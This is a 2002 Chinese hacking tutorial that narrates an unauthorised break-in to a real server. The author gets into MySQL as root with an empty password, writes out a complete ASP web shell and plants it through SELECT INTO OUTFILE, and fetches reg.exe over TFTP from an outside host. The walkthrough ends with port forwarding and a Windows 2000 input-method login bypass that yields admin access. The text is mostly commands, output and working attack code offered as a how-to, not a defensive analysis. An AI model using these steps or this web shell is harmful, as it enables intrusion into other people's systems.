※黑客攻防指南※===>特别奉献==>入侵211.67.xxx.xxx
入侵211.67.xxx.xxx
    入侵211.67.xxx.xxx纯属意外。本来是想黑个日本的网站,可是竟然被发现了,现在是进不去了!哎…!
无聊之际又换了一段IP扫了一下。转眼之间出来一大堆…!
看看这几个端口吧:
25/tcp open smtp
53/tcp open domain
80/tcp open http
110/tcp open pop-3
389/tcp open ldap
1002/tcp open unknown
3306/tcp open mysql
然后从IIS版本判断目标是windows 2000服务器。从开放的端口来看,它要么是安装了防火墙,要么是做了
TCP/IP过滤。从25和110端口返回的数据来看,他们用的邮件服务器是IMail 6.04,没什么可利用的。IIS
上面网管做了安全配置,一些默认的CGI漏洞也没有,这也没什么好利用的。只剩下最后一个端口了,用我的
mysql客户端连接试试:
F:\cmd>mysql -u root -h 211.67.xxx.xxx
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 3038 to server version: 3.23.21-beta
Type 'help;' or '\h' for help. Type '\c' to clear the buffer
mysql>
看来mysql帐号root设置一个密码,是默认的空密码,利用这个可以做些什么呢?
<1>搜索mysql数据库里面的内容,看能不能找出一些有用的敏感信息。
<2>读取服务器上的任何文件,当然前提是知道文件的物理路径。
<3>以启动mysql服务用户的权限往服务器上写文件,前提是这个文件要不存在的,就是说不能覆盖文件 。
如果我们知道IIS主目录的物理路径的话,我们就可以往上面写一个ASP上去,然后通过IE来执行系统命令。
先在mysql默认数据库test中建一个表tmp,这个表只有一个字段str,类型为TEXT,
mysql> use test;create table tmp(str TEXT);
Database changed
Query OK, 0 rows affected (0.05 sec)
开始猜测IIS主目录的物理路径,c:\inetpub\wwwroot,c:\www,c:\wwwroot,c:\inetpub\web,
d:\web,d:\wwwroot,(纯属猜测)不过……请看:
mysql客户端回显信息如下:
mysql> load data infile "d:\\www\\gb\\about\\about.htm" into table tmp;
Query OK, 235 rows affected (0.05 sec)
Records: 235 Deleted: 0 Skipped: 0 Warnings: 0
IIS主目录的物理路径是d:\www,因为上面的文件的虚拟路径是http://211.67.xxx.xxx/gb/about/about.htm,
接下来我们就可以往d:\www\gb\about里面写一个ASP文件进去,然后通过http://211.67.xxx.xxx/gb/about/
cmd.asp来执行系统命令了。Cmd.asp如下:
-------------------------------cmd.asp----------------------------------------
<% Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
Set oScript = Server.CreateObject(""WSCRIPT.SHELL"")
Set oScriptNet = Server.CreateObject(""WSCRIPT.NETWORK"")
Set oFileSys = Server.CreateObject(""Scripting.FileSystemObject"")
szCMD = Request.Form("".CMD"")
If (szCMD <> """") Then
szTempFile = ""C:\" & oFileSys.GetTempName()
Call oScript.Run (""cmd.exe /c "" & szCMD & "" > "" & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If %>
<HTML><BODY><FORM action=""<%= Request.ServerVariables(""URL"") %>"" method=""POST"">
<input type=text name="".CMD"" size=45 value=""<%= szCMD %>""><input type=submit value=""Run"">
</FORM><PRE>
<% If (IsObject(oFile)) Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If%>
</BODY></HTML>
----------------------------end of cmd.asp-----------------------------------
然后我在数据库中再建一个表:
mysql> use test;create table cmd(str TEXT);
Database changed
Query OK, 0 rows affected (0.05 sec)
然后用如下语句,一句一句把上面的ASP写进去:
mysql> insert into cmd values;
为什么不全部一起写进去呢?换行后,一会儿导出的文件就会有特殊字符了,asp就不能正常运行了。然后把
asp文件导到服务器上:
mysql>select * from cmd into outfile “d:\\www\\gb\\abou\\cmd.asp”;
然后把我们刚才建的表都删除掉:
mysql> use test; drop table tmp; drop table cmd;
ok!我得到一个shell了,虽然权限不高,但毕竟有些希望了。现在利用这个shell来收集系统信息,尝试取得
admin权限。
<1>先看一下系统文件权限设置如何:
c:\ Everyone:(OI)(CI)F
d:\ xxx\xxx:(OI)(CI)(DENY)(特殊访问:)
DELETE
READ_CONTROL
WRITE_DAC
WRITE_OWNER
STANDARD_RIGHTS_REQUIRED
FILE_READ_DATA
FILE_WRITE_DATA
FILE_APPEND_DATA
FILE_READ_EA
FILE_WRITE_EA
FILE_EXECUTE
FILE_DELETE_CHILD
FILE_READ_ATTRIBUTES
FILE_WRITE_ATTRIBUTES
Everyone:(OI)(CI)F
看来现在就可以读写硬盘上的任何文件了,现在就可以改他的首页了,但这样做没意思。
<2>然后搜索一下硬盘上都有些什么文件,
c:\Program Files 的目录下有一个特殊的文件,
2002-3-30 13:10 <DIR> Serv-U
把Serv-U里面的用户和密码读出来看看后,没有什么用。
<3>再看看都有哪些用户,
Guest IUSR_SERVER_1 IUSR_SERVER-2
IWAM_SERVER_1 IWAM_SERVER-2 ceo[他们CEO的帐号J]
TsInternetUser xxx
管理员有ceo 和target\Domain Admins,看来这台机器是他们域中的一台服务器。
<4>看看启动了那些服务,这几个比较有意思, 看来都是默认的。
Task Scheduler
Simple Mail Transport Protocol (SMTP)
Task Scheduler
<5>看看网络状况,这几个比较有意思
TCP 0.0.0.0:21 0.0.0.0:0 LISTENING
TCP 0.0.0.0:119 0.0.0.0:0 LISTENING
TCP 192.168.1.3:3389 0.0.0.0:0 LISTENING
看来有TermService,不过在网卡上做了TCP/IP过滤,只对内网开放.
<6>看看网卡设置信息
Ethernet adapter 本地连接:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Realtek RTL8139(A) PCI Fast Ethernet Adapter
Physical Address. . . . . . . . . : 00-E0-4C-68-C4-B2
DHCP Enabled. . . . . . . . . . . : No
IP Address. . . . . . . . . . . . : 192.168.1.3
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . :
DNS Servers . . . . . . . . . . . : xxx

Ethernet adapter 本地连接 2:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Realtek RTL8139(A) PCI Fast Ethernet Adapter#2
Physical Address. . . . . . . . . : 00-E0-4C-68-B8-FC
DHCP Enabled. . . . . . . . . . . : No
IP Address. . . . . . . . . . . . :xxx
Subnet Mask . . . . . . . . . . . : xxx
Default Gateway . . . . . . . . . : xxx
经过上面的一些步骤,对这台服务器的设置情况就有了一个大概的了解。如何取得admin权限?
看看这个系统都有哪些补丁.打了补丁后,信息都会存贮在注册表中,查询注册表中的这个键值就行了:
"HKLM\Software\Microsoft\Windows NT\CurrentVersion\hotfix",这样的话,得上传一个
reg.exe[M$ Resource Kit中的命令行注册表编辑器]到服务器里面,才能操作他的注册表。,用tftp来传输,
在目标机器上运行tftp –I www.eyas.org GET reg.exe,然后运行
REG QUERY "HKLM\Software\Microsoft\Windows NT\CurrentVersion\hotfix"
返回数据如下:
Listing of [Software\Microsoft\Windows NT\CurrentVersion\hotfix]
[Q147222]==>这个不知道是什么东东,好象默认2k机器上都有
[Q269862]==>Q269862_W2K_SP2_x86_CN.EXE==>Microsoft IIS Unicode解码目录遍历漏洞!
[Q277873]==>Q277873_W2K_sp2_x86_CN.EXE==>Microsoft IIS CGI文件名检查漏洞!
他的机器开了TermService服务,但windows2000登陆验证可被绕过的漏洞没有安装补丁,
此补丁为Q270676_W2K_SP2_x86_CN.EXE。由此看来,管理员只是删除了帮助法文件,而没有打补丁。
用dir c:\winnt\help\win*验证一下,果然没有熟悉的输入法帮助文件。
先来看看他的TCP/IP过滤的设置情况,查看注册表里面的键值啦。用刚才的reg.exe查询
<1>reg QUERY "HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces"
Listing of [System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces]
[{4B41CFFB-4A20-42F8-9087-A89FE71FD8F4}]
[{612A3142-DB85-4D4E-8028-81A9EB4D6A51}]
<2>reg QUERY "HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\
{4B41CFFB-4A20-42F8-9087-A89FE71FD8F4}"
Listing of [System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\
{4B41CFFB-4A20-42F8-9087-A89FE71FD8F4}]
MULTI_SZ IPAddress xxx;
MULTI_SZ TCPAllowedPorts 25;53;80;110;3306;
MULTI_SZ UDPAllowedPorts 0;
MULTI_SZ RawIPAllowedProtocols 0;
<3>reg QUERY "HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\
{612A3142-DB85-4D4E-8028-81A9EB4D6A51}"
Listing of [System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\
{612A3142-DB85-4D4E-8028-81A9EB4D6A51}]
MULTI_SZ IPAddress 192.168.1.3;
MULTI_SZ TCPAllowedPorts 0;
MULTI_SZ UDPAllowedPorts 0;
MULTI_SZ RawIPAllowedProtocols 0;
第二次查询的是外网网卡,可以得知只开放了TCP 25,53,80,110,3306,UDP全部,IP协议全部。
第三次查询的是内网网卡,没有任何限制。
现在我们可以把输入法帮助文件上传到他的c:\winnt\help目录下去,然后如果能连接到他的3389端口的话,
就可以得到admin权限了。问题的关键是外网网卡做了TCP/IP限制。可以利用socket转发和反弹端口技术,
照样可以连接到他的TermService!具体过程如下:
<1>在我的另一台服务器xxx.xxx.xxx上运行一个程序,监听3389端口,监听11111端口,第2个端口可以随便选,
第1个端口选其它的话,就要相应的修改TermClient,比较麻烦。
<2>在xxx.xxx.xxx运行另外一个程序, 先连接到211.67.xxx.xxx:11111,再连接到192.168.1.3:3389
<3> 我的TermClient连接到211.67.xxx.xxx:3389,这样,数据通道就全部建立好了。接下来,两个程序就转发
数据了。
当熟悉的登陆界面出现的时侯,调出输入法,取得admin权限。
现在有了admin权限,至于我将要再作一些什么事情,就不用说了吧?哈…!

主目录 分目录

Copyright By「黑白网络工作室」2002 All Rights Reserve